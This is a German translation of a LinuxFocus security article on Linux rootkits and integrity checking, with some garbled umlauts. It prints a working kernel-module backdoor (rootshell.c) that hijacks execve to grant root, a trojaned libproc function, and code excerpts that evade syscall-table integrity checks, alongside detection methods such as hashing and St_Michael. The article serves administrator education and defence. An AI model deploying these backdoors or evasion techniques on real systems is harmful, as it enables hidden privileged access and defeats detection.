Rootkits und die Integrit�t

ArticleCategory:

SystemAdministration

AuthorImage:

Frederic Raynal

TranslationInfo:

original in fr Fr�d�ric Raynal aka Pappy

fr to en Georges Tarbouriech

en to de Guido Socher, Karsten Schulz

AboutTheAuthor:

Fr�d�ric Raynal errang einen Ph.D in Computerwissenschaften mit einer Arbeit �ber Methoden zum Verbergen von Informationen. Er ist der Chefredakteur eines franz�sischen Magazins namens MISC, welches sich der Computersicherheit widmet. Nebenbei bemerkt, ist er gerade auf Jobsuche.

Abstract:

Dieser Artikel wurde urspr�nglich in einer Spezialausgabe des franz�sischen Linux Magazins mit dem Thema Sicherheit ver�ffentlicht. Der Herausgeber, die Autoren und die �bersetzer erlaubten LinuxFocus freundlicherweise, jeden Artikel aus dieser Ausgabe zu ver�ffentlichen. Folglich wird LinuxFocus euch diese Artikel, sobald sie �bersetzt sind, bringen. Einen Dank an alle Leute, die mit diesem Werk zu tun haben. Dieser Abriss wird jedem Artikel aus dieser Reihe vorangestellt.

Dieser Artikel zeigt die verschiedenen Aktionen auf, die ein Cracker durchf�hren kann, nachdem er in eine Maschine eingedrungen ist. Wir werden au�erdem sehen, was ein Administrator unternehmen kann, um zu erkennen, dass seine Maschine gef�hrdet ist.

ArticleIllustration:

gate

ArticleBody:[The article body]

Gefahren

La�t uns annehmen, dass es einem Cracker gelang, in das System einzudringen, ohne uns darum zu k�mmern, auf welche Art ihm das gelang. Wir nehmen an, dass er alle Rechte (Administrator, root...) auf dieser Maschine besitzt. Das ganze System ist nicht mehr vertrauensw�rdig, selbst wenn jedes Tool behauptet, dass alles in Ordnung sei. Der Cracker bereinigte alle Systemprotokolle und hat es sich tats�chlich bequem auf dem System eingerichtet.

Sein erstes Ziel ist es, so diskret wie m�glich zu bleiben, um zu verhindern, dass der Administrator seine Anwesenheit entdeckt. Als n�chstes wird er die Tools installieren, die er ben�tigt, um die Dinge durchzuf�hren, die er vorhat.

Offensichtlich kann der Administrator auf seiner Maschine nicht laufend auf neue Verbindungen achten. Dennoch mu� er ein ungewolltes Eindringen so schnell wie m�glich entdecken. Die gef�hrdete Maschine kann eine Startrampe f�r die Programme des Crackers werden (bot IRC, DDOS, ...). Zum Beispiel kann er, wenn er einen Sniffer benutzt, alle Netzwerkpakete lesen. Viele Protokolle verschl�sseln die Daten und Passworte nicht, (wie telnet, rlogin, pop3, und viele andere). Je mehr Zeit der Cracker also bekommt, desto mehr Kontrolle kann er �ber das Netzwerk der gef�hrdeten Maschine �bernehmen.

Wenn seine Anwesenheit einmal entdeckt ist, tritt ein weiteres Problem auf: wir wissen nicht, was der Cracker im System ver�ndert hat. Er tauschte wahrscheinlich grundlegende Systembefehle und Diagnostik-Werkzeuge aus, um sich zu verstecken. Wir m�ssen dann sehr genau arbeiten, um sicherzugehen, dass wir nichts �bersehen. Ansonsten k�nnte das System auf ein Neues in Gefahr gebracht werden.

Die letzte Frage betrifft die zu unternehmenden Ma�nahmen. Es gibt zwei Verfahrensweisen. Entweder installiert der Administrator das komplette System neu, oder er ersetzt nur die korrumpierten Dateien. Eine Neuinstallation dauert eine ganze Weile, das Ersetzen der korrumpierten Programme, wobei sichergestellt wird, nichts zu �bersehen, erfordert gro�e Sorgfalt.

Welcher Methode auch der Vorzug gegeben wird, es wird empfohlen eine Sicherung des korrupten Systems durchzuf�hren, um den Weg zu entdecken, den der Cracker in das System genommen hat. Weiterhin k�nnte die Maschine in einer weitaus gr��eren Attacke benutzt worden sein, was zu rechtlichen Ma�nahmen gegen uns f�hren k�nnte. Keine Systemsicherung durchzuf�hren, k�nnte als Vernichtung von Beweismittel angesehen werden... w�hrend diese dich eigentlich entlasten k�nnten.

Es gibt Unsichtbarkeit... Ich habe sie gesehen!

Hier diskutieren wir einige verschiedene Methoden, die benutzt werden, um auf dem �berfallenen System unsichbar zu bleiben, wobei einem h�chste Privilegien im erbeuteten System bewahrt bleiben.

Bevor wir zum Kern der Sache vorsto�en, lass uns ein wenig Terminologie definieren:

Wenn ein System �bernommen worden ist, ben�tigt der Cracker beide Arten von Programmen. Hintert�ren erlauben ihm, auf die Maschine zu gehen, selbst wenn der Administrator jedes Passwort �ndert. Trojaner erlauben ihm, ungesehen zu bleiben.

Wir unterscheiden f�r den Moment nicht, ob ein Programm ein Trojaner oder eine Hintert�r ist. Unser Ziel ist es, g�ngige Methoden zu zeigen, wie man sie implementiert (sie sind ziemlich identisch) und wie man sie entdeckt.

Zuletzt sei noch erw�hnt, dass die meisten Linux Distributionen einen Authentifizierungsmechanismus bieten (d.h. gleichzeitig die Integrit�t und die Herkunft �berpr�fen, z. B.: rpm --checksig). Es wird dringend empfohlen, diese �berpr�fung durchzuf�hren, bevor irgendwelche Software auf dem System installiert wird. Falls du ein korruptes Archiv erhalten und installiert hast, braucht es der Cracker nicht mehr machen. Das ist das, was unter Windows mit Back Orifice passiert ist.

Ersetzung der Bin�rdateien

In der Unix-Vorgeschichte war es nicht sehr schwierig, ein Eindringen auf einer Maschine zu entdecken:

Seitdem haben Cracker Werkzeuge entwickelt, um diese Befehle zu ersetzen. Wie die Griechen ein h�lzernes Pferd gebaut haben, um Troja zu erobern, sehen diese Programme wie etwas Bekanntes aus und sind so dem Administrator vertraut. Diese neuen Programmversionen verbergen jedoch die Informationen, die den Cracker betreffen. Da die Dateien den gleichen Zeitstempel behalten wie die anderen Programme aus dem gleichen Verzeichnis und die Pr�fsummen sich (durch einen weiteren Trojaner) nicht ge�ndert haben, wird der "naive" Administrator v�llig hinters Licht gef�hrt.

Linux Root-Kit

Das Linux Root-Kit (lrk) ist der klassische Vertreter seiner Art, auch wenn es bereits ein wenig alt ist. Von Lord Somer entwickelt, liegt es heute in seiner f�nften Version vor. Es gibt eine Menge weiterer Rootkits und wir werden hier nur die Merkmale dieses einen diskutieren, um eine Idee zu vermitteln, was diese Werkzeuge leisten.

Die ersetzten Kommandos stellen priviligierten Zugang zum System zur Verf�gung. Um zu verhindern, dass irgendjemand diese Kommandos benutzt und die �nderungen bemerkt, sind sie durch ein Passwort gesch�tzt (Standard ist satori), welches zum Kompilierungszeitpunkt eingestellt werden kann.

Dieses klassische Rootkit ist veraltet, da die Rootkits der neuen Generation den Kernel direkt angreifen. Ferner werden diese ge�nderten Programme nicht mehr benutzt.

Diese Art Rootkit aufdecken

Falls unsere Sicherheits-Policy streng ist, kann diese Art Rootkits einfach entdeckt werden. Mit seinen Hash-Funktionen versorgt uns die Kryptographie mit den richtigen Werkzeugen dazu:

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig

Ohne genau zu wissen, was ge�ndert wurde, sieht man sofort, dass das installierte ifconfig und das von lrk5 unterschiedlich sind.

Folglich ist es erforderlich, sobald die Systeminstallation durchgef�hrt worden ist, die sensiblen Dateien (zu den "sensiblen Dateien" sp�ter mehr) als Hashwerte in eine Datenbank abzulegen, um eine Ver�nderung so schnell wie m�glich zu entdecken.

Die Datenbank mu� auf ein physisch unbeschreibbares Medium (floppy, nicht wiederbeschreibbare CD...) gespeichert werden. La�t uns annehmen, der Cracker errang Administratorrechte auf dem System. Wenn die Datenbank auf einer Nur-Lesen-Partition gespeichert w�re, m�sste der Cracker diese einfach nur mit Lese- und Schreibzugriff re-mounten, sie aktualisieren und wieder Nur-Lesen mounten. Wenn er daran denkt, wird er sogar die Zeitstempel anpassen. Danach wird, wenn man das n�chste Mal die Integrit�t pr�ft, kein Unterschied erkennbar sein. Das zeigt, dass die Superuser-Rechte nicht genug Schutz bieten, diese Datenbank zu �ndern.

Wenn das System aktualisiert wird, mu� auch diese Datenbank erneuert werden. Auf diese Art ist man in der Lage, die Authentizit�t des erneuerten Systems zu pr�fen und ungewollte Ver�nderungen zu entdecken.

So erfordert die �berpr�fung der Systemintegrit�t also zwei Bedingungen:

  1. Hashwerte des Dateisystems m�ssen mit entsprechenden Hashwerten verglichen werden, denen zu 100% zu vetrauen ist. Deshalb muss diese Datenbank auf einem Nur-Lesen-Medium gespeichert sein;
  2. die Werkzeuge, die zur Integrit�tspr�fung benutzt werden, m�ssen "sauber" sein.

Das hei�t, jede System�berpr�fung muss mit Werkzeugen durchgef�hrt werden, die von einem anderen (nicht gef�hrdeten) System kommen.

Der Gebrauch dynamischer Bibliotheken

Wie wir gesehen haben, erfordert es die �nderung vieler Dinge im System, um unsichtbar zu werden. Viele Befehle erlauben es uns zu ermitteln, ob eine Datei existiert und alle diese Befehle m�ssen ge�ndert werden. Das gleiche gilt f�r die Netzwerkverbindungen und die laufenden Prozesse auf der Maschine. Den letzen Punkt zu vergessen, ist ein schwerer Fehler, wenn Diskretion das Ziel ist.

In der heutigen Zeit benutzt man meistens dynamische Bibliotheken, um zu gro�e Programmdateien zu vermeiden. Um das oben erw�hnte Problem zu l�sen, geht man dazu �ber, nicht jedes Programm zu �ndern, sondern stattdessen die erforderlichen Funktionen in die passende Bibliothek einzubauen.

Lasst uns ein Beispiel nehmen, bei dem der Cracker die Betriebszeit der Machine, seit er sie neu gestartet hat, �ndern m�chte. Diese Information wird im System von verschiedenen Kommandos angezeigt, wie uptime, w, top.

Um die Bibliotheken kennenzulernen, die diese Programme benutzen, benutzen wir das ldd Kommando:

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Neben der libc, wird libproc.so von allen drei Programmen benutzt. Das reicht, um den Quellcode zu bekommen und zu �ndern, wie wir es wollen. Hier werden wir die Version 2.0.7 benutzen, die im Verzeichnis $PROCPS liegt.

Der Quellcode des uptime Befehls (in uptime.c) zeigt uns, dass wir die Funktionen print_uptime() (in $PROCPS/proc/whattime.c) und uptime(double *uptime_secs, double *idle_secs) (in $PROCPS/proc/sysinfo.c) finden k�nnen. Lasst uns die letztere entsprechend unseren Bed�rfnissen �ndern:

/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;	/* assume never be zero seconds in practice */
22:  }

Wenn die Zeilen 12 bis 16 hinzugef�gt werden, wird die Funktion ein ge�ndertes Ergebnis zur�ckliefern. Wenn die TERM Umgebungsvariable nicht den Wert "satori" enth�lt, dann wird die up Variable proportional zum Logarithmus der wirklichen Betriebszeit der Maschine inkrementiert (mit der benutzten Formel erreicht diese Betriebszeit schnell ein paar Jahre)

Um die neue Bibliothek zu kompilieren, f�gen wir die -D_LIBROOTKIT_ und -lm Optionen hinzu (f�r log(up);). Wenn wir mit ldd nachsehen, welche Bibliotheken ein Programm nutzt, das unsere uptime Funktion nutzt, bemerken wir, dass libm als Teil dieser Auflistung angezeigt wird. Ungl�cklicherweise gilt das f�r die im System installierten Programme so nicht. Wenn unsere Bibliothek so, wie sie ist, genutzt wird, f�hrt das zu folgendem Fehler:

[procps-2.0.7]# ldd ./uptime  //command compiled with the new libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //cmd d'origine
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //original command
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

Um zu verhindern, das die Programme alle neu kompiliert werden m�ssen, reicht es, wenn man die Nutzung der statischen Mathematik-Bibliothek beim Erstellen von libproc.so erzwingt:

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7  alloc.o
compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o
sysinfo.o version.o whattime.o /usr/lib/libm.a

So wird die Funktion log() direkt in libproc.so eingebunden. Die modifizierte Bibliothek mu� die gleichen Abh�ngigkeiten wie die originale Bibliothek bewahren, sonst werden die abh�ngigen Programme nicht funktionieren.

[pappy]# uptime
  2:12pm  up 7919 days,  1:28,  2 users,  load average: 0.00, 0.03, 0.00

[pappy]# w
  2:12pm  up 7920 days, 22:36,  2 users,  load average: 0.00, 0.03, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
  2:14pm  up 8022 days, 32 min,  2 users,  load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:   191308K av,  181984K used,    9324K free,   0K shrd, 2680K buff
Swap:  249440K av,       0K used,  249440K free             79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

Alles funktoniert bestens. Es scheint, dass top die TERM Umgebungsvariable benutzt, um seine Anzeige zu verwalten. Es ist besser, eine andere Variable zu nutzen, um zu bewirken, dass der echte Wert angezeigt werden soll.

Die Vorkehrungen, die zu treffen sind, um �nderungen in dynamischen Bibliotheken zu entdecken, entsprechen den vorher erw�hnten. Es gen�gt, die Hashwerte zu �berpr�fen. Ungl�cklicherweise vers�umen es zu viele Administratoren, die Hashwerte zu berechnen und konzentrieren sich nur auf gewohnte Verzeichnisse (/bin, /sbin, /usr/bin, /usr/sbin, /etc...), w�hrend alle Verzeichnisse, die die Bibliotheken enthalten, ebenfalls zu den sensiblen geh�ren.

Wie auch immer, das Interesse dynamische Bibliotheken zu modifizieren, liegt nicht nur darin, gleichzeitig die verschiedenen Programmverhalten zu �ndern. Einige Programme, die zur Integrit�tspr�fung des Systems genutzt werden, benutzen ebenfalls diese Bibliotheken. Das ist ziemlich gef�hrlich! Auf einem sensiblen System m�ssen alle essentiellen Programme statisch kompiliert werden, damit sie nicht von �nderungen in den Bibliotheken in Mitleidenschaft gezogen werden.

Demnach ist das vorhin erw�hnte md5sum Program ziemlich gef�hrlich:

[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Es ruft dynamische Funktionen von der libc auf, die ge�ndert sein kann (�berpr�fung mit nm -D `which md5sum`). Wenn zum Beispiel fopen() genutzt wird, reicht es, den Dateipfad zu pr�fen. Wenn dieser ein gecracktes Programm beschreibt, wird der Zugriff zum Originalprogramm umgelenkt: der Cracker sollte es irgendwo im System versteckt haben.

Dieses einfache Beispiel zeigt die M�glichkeiten, um Integrit�tstests in die Irre zu f�hren. Wir haben gesehen, dass sie mit externen Werkzeugen durchgef�hrt werden sollten, also mit welchen von anderen Systemen. Wir entdecken jetzt, dass sie nutzlos sind, wenn sie Funtkionen vom gef�hrdeten System aufrufen.

Wir k�nnen jetzt ein Notfall-Kit zusammenstellen, das die Anwesenheit eines Crackers entdeckt:

Diese Programme repr�sentieren das Minimum. Andere Programme sind ebenfalls sehr lehrreich:

Es sei hier erw�hnt, dass diese Befehle nicht nur genutzt werden, um die Anwesenheit eines Crackers zu entdecken, sondern um das System im Falle von Problemen zu diagnostizieren.

Es ist offensichtlich, dass jedes Program, das Teil eines Notfall-Kits ist, statisch kompiliert sein muss. Wir haben gerade gesehen, das dynamische Bibliotheken verh�ngnisvoll sein k�nnen.

Linux Kernel Module (LKM) "for fun and profit"

Jede Bin�rdatei, die einen Cracker verraten k�nnte, �ndern, jede Bibliothek zu �ndern, w�re unm�glich. Unm�glich sagtest du? Nicht ganz.

Ein neue Root-Kit Generation ver�ndert den Kernel.

Die Reichweite von LKM

Unbegrenzt! Wie der Name sagt, ein LKM arbeitet im Kernel Space, und kann deshalb abslut alles kontrollieren.

F�r einen Cracker bietet das LKM:

Die L�nge der Liste h�ngt von der Fantasie des Crakers ab. Ein Systemadministrator kann jedoch die gleichen Methoden benutzen, um sein System zu sch�tzen:

Wie kann man sich gegen LKMs sch�tzen? Zur Compilierzeit kann man Unterst�tzung f�r Module deaktivieren (N zu CONFIG_MODULES sagen) oder es kann keine ausgew�hlt werden (nur mit Y und N antworten). Das f�hrt zu einem sogenannten monolytischem Kernel.

Aber selbst ohne Modulunterst�tzung im Kernel ist es m�glich, einige Module in den Speicher zu laden (nicht ganz einfach). Silvio Cesare hat ein kinsmod Programm geschrieben, mit dem man den Kernel �ber /dev/kmem angreifen kann. Lies dazu die Datei runtime-kernel-kmem-patching.txt auf Silvio's Homepage.

Um Modulprogrammierung zusammenzufassen: Alles h�ngt von zwei Funktionen im Modul ab. init_module() und cleanup_module(). Diese beiden Funktionen definieren das Verhalden eines Moduls. Da sie vom Kernel im Kernel Space aufgerufen werden, k�nnen sie auf den gesamten Speicher des Kernels zugreifen (Systemaufrufe, Symbole...).

Hier geht's rein !

Wir wollen eine Hintert�r (backdoor) Installation via LKM vorstellen. Der Benutzer, der eine root Shell m�chte, braucht nur den Befehl /etc/passwd ausf�hren. Klar, das ist kein Befehl, aber wir lenken einfach den Systemaufruf sys_execve() um auf /bin/sh und erteilen root Privilegien.

Dieses Modul wurde mit verschiedenen Kenelversionen getestet: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Es funktioniert mit allen. Mit 2.2.19smp-ow1 (Multiprocessor mit Openwall Patch) gibt es uns jedoch keine root Privilegien. Der Kernel ist etwas empfindliches und zerbrechliches. Sei vorsichtig...

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, 
	 current->uid, current->euid, current->suid, current->fsuid, 
	 current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Got it:)))\n");
    current->uid = current->euid = current->suid = current->fsuid = 0;
    current->gid = current->egid = current->sgid = current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE	/* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Loaded:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
		  sys_call_table[__NR_##x] = new_##x
  
  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Unloaded:(\n");
}

Lass uns pr�fen, dass alles wie erwartet funktioniert:

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

Nach dieser kurzen Vorf�hrung schauen wir uns mal /var/log/kernel an: syslogd schreibt dort alle Nachrichten des Kernels, falls kern.* /var/log/kernel in /etc/syslogd.conf gesetzt wurde:

charly kernel: [rootshell] Loaded:)
charly kernel: [rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
charly kernel: [rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
charly kernel: [rootshell]  Got it:)))
charly kernel: [rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
charly kernel: [rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
charly kernel: [rootshell] Unloaded:(

Wenn man dieses Modul leicht ver�ndert, kann ein Systemadministrator ein gutes �berwachungswerkzeug erhalten. Alle Kommandos, die im System ausgef�hrt werden, stehen in der Logdatei. Das regs.ecx Register enth�lt **argv und regs.edx **envp mit der aktuellen Struktur beschreibt die aktuelle Aufgabe. Damit kann man �ber den **envp auf die task struct zugreifen und alle Informationen �ber das, was im System vorgeht, erhalten.

Entdeckung und Sicherheit

Der Administrator kann das Modul �ber einfache Integrit�tstests nicht mehr erkennen. Wir analysieren die Fingerabdr�cke, die ein solches root-kit zur�ckl��t:

Die hier diskutierten Probleme/L�sungen brauchen User Space Befehle (normale Befehle). Ein gutes LKM wird all diese Techniken nutzen, um unsichtbar zu bleiben.

Es gibt zwei M�glichkeiten diese root-kits zu entdecken. Die erste benutzt /dev/kmem und vergleicht es mit dem Kernel Image in /proc. Ein Programm wie kstat erlaubt es, in /dev/kmem zu suchen und augenblickliche Prozesse auf deren Einstiegsadressen f�r Systemaufrufe zu �berpr�fen... Toby Millers Artikel Detecting Loadable Kernel Modules (LKM) beschreibt, wie man kstat benutzt, um so ein root-kit zu entdecken.

Die zweite M�glichkeit ist, alle Versuche den System Call Table zu modifizieren, aufzudecken. Das St_Michael Modul von Tim Lawless erlaubt solch eine �berwachung.
Die folgede Information wird sich wahrscheinlich �ndern, da das Modul noch in der Entwicklung war, als dieser Text geschrieben wurde.

Wie wir gesehen haben, arbeiten die LKM Root-kits alle mit System Call Table Modifizierung. Eine erste L�sung ist, die Adresse der Module in einen zweiten Table zu schreiben und die Aufrufe, die sys_init_module() und sys_delete_module() handhaben, umzudefinieren. Danach kann nach jedem Laden eines Modules �berpr�ft werden, dass die Adressen noch passen:

/* Extract from St_Michael module by Tim Lawless */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);
   
  /* 
     Verify that the syscall table is the same. 
     If its changed then respond 

     We could probably make this a function in itself, but
     why spend the extra time making a call?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
	sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }   
  }
  return init_module_return;
}

Diese L�sung sch�tzt vor heutigen LKM Root-kits, aber sie ist noch lange nicht perfekt. Sicherheit ist ein Wettr�sten. Hier ist z.B. eine Technik, der heutige "Waffen" nichts anhaben k�nnen. Wenn man nicht die System Call Adresse �ndern kann, warum nicht einfach den System Call selbst �ndern? Das ist in Silvio Cesares stealth-syscall.txt beschrieben. Dieser Angriff ersetzt die ersten Bytes eines System Calls mit "jump &new_syscall" (hier in pseudo Assembler):

/* Extract from stealth_syscall.c (Linux 2.0.35) by Silvio Cesare */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code));
  return 0;
}

Wie wir unsere Programme und Bibliotheken mit Integrit�tstests sch�tzen, m�ssen wir hier das gleiche machen. Wir merken uns eine Pr�fsumme f�r jeden Systemcall. Das St_Michael Modul versucht das in einer neueren Version. Der init_module() Aufruf wird ver�ndert und nach jedem Laden eines Moduls kann ein Integrit�tstests durchgef�hrt werden.

Jedoch ist es selbst hier m�glich, am Integrit�tstest vorbei zu kommen. Die Beispiele kommen von Tim Lawless, Mixman und mir. Der Quellcode ist von Mixman:

  1. Eine Funktion �ndern, die kein Systemcall ist: Gleiches Prinzip wie bei einem Systemcall. In init_module(), �ndern wir die ersten Bytes der Funktion (printk() in dem Beispiel) und springen nach hacked_printk():
    /* Extract from printk_exploit.c by Mixman */
    
    static unsigned char hacked = 0;
    
    /* hacked_printk() replaces system call.
       Next, we execute "normal" printk() for everything to work properly
    */
    asmlinkage int hacked_printk(const char* fmt,...)
    {
      va_list args;
      char buf[4096];
      int i;
    
      if(!fmt) return 0;
      if(!hacked) {
        sys_call_table[SYS_chdir] = hacked_chdir;
        hacked = 1;
      }
      memset(buf,0,sizeof(buf));
      va_start(args,fmt);
      i = vsprintf(buf,fmt,args);
      va_end(args);
      return i;
    }
          
    Der Integrit�tstest, der in der Umdefinierung von init_module() steckt, findet keine �nderung zum Ladezeitpunkt. Beim n�chsten Aufruf von printk() wird die �nderung gemacht. Das Modul ist �berlistet....
    Um dagegen vorzugehen, m�ssen die Pr�fsummen auf den gesamten Kernel ausgedehnt werden.
  2. Eine andere M�glichkeit. Benutzen eines Timers: in init_module() wird ein Timer gestartet und f�hrt die �nderungen der Systemcalls viel sp�ter durch als das Laden der Module. Zum Ladezeitpunkt wird also keine �nderung festgestellt :(
     /* timer_exploit.c by Mixman */
     
     #define TIMER_TIMEOUT  200
    
     extern void* sys_call_table[];
     int (*org_chdir)(const char*);
    
     static timer_t timer;
     static unsigned char hacked = 0;
    
     asmlinkage int hacked_chdir(const char* path)
     {
       printk("Some sort of periodic checking could be a solution...\n");
       return org_chdir(path);
     }
    
     void timer_handler(unsigned long arg)
     {
       if(!hacked) {
         hacked = 1;
         org_chdir = sys_call_table[SYS_chdir];
         sys_call_table[SYS_chdir] = hacked_chdir;
       }
     }
    
     int init_module(void)
     {
       printk("Adding kernel timer...\n");
       memset(&timer,0,sizeof(timer));
       init_timer(&timer);
       timer.expires = jiffies + TIMER_TIMEOUT;
       timer.function = timer_handler;
       add_timer(&timer);
       printk("Syscall sys_chdir() should be modified in a few seconds\n");
       return 0;
     }
    
     void cleanup_module(void)
     {
       del_timer(&timer);
       sys_call_table[SYS_chdir] = org_chdir;
     }
          
    At the moment, the thought solution is to run the integrity test from time to time and not only at module (un)load time.

Zusammenfassung

Systemintegrit�t zu erhalten, ist nicht einfach. Obwohl die vorgestellten Tests zuverl�ssig sind, gibt es doch immer wieder M�glichkeiten, sie zu umgehen. Die einzige L�sung ist, nichts und niemandem zu trauen, speziell dann, wenn ein Einbruch vermutet wird. Das beste ist, den Rechner vom Netz zu nehmen und mit einem anderen System den Schaden zu untersuchen.

Werkzeuge und Methoden, die hier diskutiert wurden, haben zwei Seiten: Sie sind f�r den Cracker und den Systemadministrator einsetzbar. Das haben wir bei dem rootshell Modul gesehen. Hier kann der Systemadministrator �berpr�fen, wer was ausf�hrt.

Wenn man Integrit�tstest sorgf�ltig durchf�hrt, kann man klassische Root-kits erkennen. Die Root-kits, die auf Kernelmodulen basieren, sind eine neue Herausforderung. Werkzeuge daf�r sind in der Entwicklung (wie die Module selbst). Die Kernel Sicherheit beunruhigt mehr und mehr Leute. Linus selbst hat nach einem Modul, das im 2.5 Kernel f�r Sicherheit verantwortlich ist, gefragt.

In jedem Fall sollte man behalten, da� eine Maschine, in die eingebrochen wurde, niemals benutzt werden kann, um ihre eigene Integrit�t zu pr�fen. Man kann weder den Programmen noch den Log-Dateien und Printouts vertrauen.

Links